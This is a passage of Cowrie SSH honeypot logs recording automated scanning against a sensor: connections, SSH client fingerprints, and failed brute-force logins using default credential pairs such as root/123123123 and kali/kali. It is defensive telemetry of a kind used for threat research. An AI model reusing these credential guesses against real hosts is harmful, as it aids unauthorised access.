4-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:21:00.421946Z","src_ip":"176.65.139.95","session":"eb47e9675509","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tester","password":"tester","message":"login attempt [tester/tester] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:21:00.719697Z","src_ip":"192.109.200.78","session":"5c30c133a5fa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123123123","message":"login attempt [root/123123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:21:00.793217Z","src_ip":"176.65.139.95","session":"eb47e9675509","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:21:01.810696Z","src_ip":"192.109.200.78","session":"5c30c133a5fa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:21:01.898032Z","src_ip":"176.65.139.95","session":"eb47e9675509","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":60040,"dst_ip":"159.203.135.109","dst_port":22,"session":"e5eae5bc5b87","protocol":"ssh","message":"New connection: 159.203.92.129:60040 (159.203.135.109:22) [session: e5eae5bc5b87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:21:04.424055Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:21:04.428401Z","src_ip":"159.203.92.129","session":"e5eae5bc5b87","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:21:04.432345Z","src_ip":"159.203.92.129","session":"e5eae5bc5b87","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":47096,"dst_ip":"159.203.135.109","dst_port":22,"session":"110373557f94","protocol":"ssh","message":"New connection: 192.109.200.78:47096 (159.203.135.109:22) [session: 110373557f94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:21:04.438698Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:21:04.442848Z","src_ip":"192.109.200.78","session":"110373557f94","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"Music","password":"Music","message":"login attempt [Music/Music] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:21:04.451574Z","src_ip":"159.203.92.129","session":"e5eae5bc5b87","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:21:04.524759Z","src_ip":"192.109.200.78","session":"110373557f94","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"splunk","password":"splunk","message":"login attempt [splunk/splunk] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:21:04.784896Z","src_ip":"192.109.200.78","session":"110373557f94","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:21:05.458639Z","src_ip":"159.203.92.129","session":"e5eae5bc5b87","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:21:05.869376Z","src_ip":"192.109.200.78","session":"110373557f94","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":56736,"dst_ip":"159.203.135.109","dst_port":22,"session":"5b1bb9f06f7a","protocol":"ssh","message":"New connection: 176.65.139.95:56736 (159.203.135.109:22) [session: 5b1bb9f06f7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:21:07.045649Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:21:07.059121Z","src_ip":"176.65.139.95","session":"5b1bb9f06f7a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:21:07.131611Z","src_ip":"176.65.139.95","session":"5b1bb9f06f7a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kali","password":"kali","message":"login attempt [kali/kali] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:21:07.489825Z","src_ip":"176.65.139.95","session":"5b1bb9f06f7a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":48822,"dst_ip":"159.203.135.109","dst_port":22,"session":"ea135b995167","protocol":"ssh","message":"New connection: 192.109.200.78:48822 (159.203.135.109:22) [session: ea135b995167]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:21:08.568463Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:21:08.573472Z","src_ip":"192.109.200.78","session":"ea135b995167","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:21:08.655231Z","src_ip":"192.109.200.78","session":"ea135b995167","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:21:08.750862Z","src_ip":"176.65.139.95","session":"5b1bb9f06f7a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sysadmin","password":"sysadmin","message":"login attempt [sysadmin/sysadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:21:08.908125Z","src_ip":"192.109.200.78","session":"ea135b995167","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:21:09.994708Z","src_ip":"192.109.200.78","session":"ea135b995167","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":48852,"dst_ip":"159.203.135.109","dst_port":22,"session":"2ed09b7d7ff3","protocol":"ssh","message":"New connection: 192.109.200.78:48852 (159.203.135.109:22) [session: 2ed09b7d7ff3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:21:12.457266Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:21:12.462007Z","src_ip":"192.109.200.78","session":"2ed09b7d7ff3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:21:12.545328Z","src_ip":"192.109.200.78","session":"2ed09b7d7ff3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"parsa","password":"parsa","message":"login attempt [parsa/parsa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:21:12.803150Z","src_ip":"192.109.200.78","session":"2ed09b7d7ff3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":45416,"dst_ip":"159.203.135.109","dst_port":22,"session":"70e58231f222","protocol":"ssh","message":"New connection: 176.65.139.95:45416 (159.203.135.109:22) [session: 70e58231f222]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:21:14.001793Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:21:14.017872Z","src_ip":"192.109.200.78","session":"2ed09b7d7ff3","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:21:14.121634Z","src_ip":"176.65.139.95","session":"70e58231f222","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:21:14.125746Z","src_ip":"176.65.139.95","session":"70e58231f222","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nagios","password":"nagios","message":"login attempt [nagios/nagios] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:21:14.745095Z","src_ip":"176.65.139.95","session":"70e58231f222","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:21:15.856332Z","src_ip":"176.65.139.95","session":"70e58231f222","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":48888,"dst_ip":"159.203.135.109","dst_port":22,"session":"3f13dc1beba5","protocol":"ssh","message":"New connection: 192.109.200.78:48888 (159.203.135.109:22) [session: 3f13dc1beba5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:21:16.674223Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:21:16.681829Z","src_ip":"192.109.200.78","session":"3f13dc1beba5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:21:16.764734Z","src_ip":"192.109.200.78","session":"3f13dc1beba5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu123456","message":"login attempt [ubuntu/ubuntu123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:21:17.016187Z","src_ip":"192.109.200.78","session":"3f13dc1beba5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:21:18.102280Z","src_ip":"192.109.200.78","session":"3f13dc1beba5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":36238,"dst_ip":"159.203.135.109","dst_port":22,"session":"8827c80d85cc","protocol":"ssh","message":"New connection: 192.109.200.78:36238 (159.203.135.109:22) [session: 8827c80d85cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:21:20.726077Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:21:20.730832Z","src_ip":"192.109.200.78","session":"8827c80d85cc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh 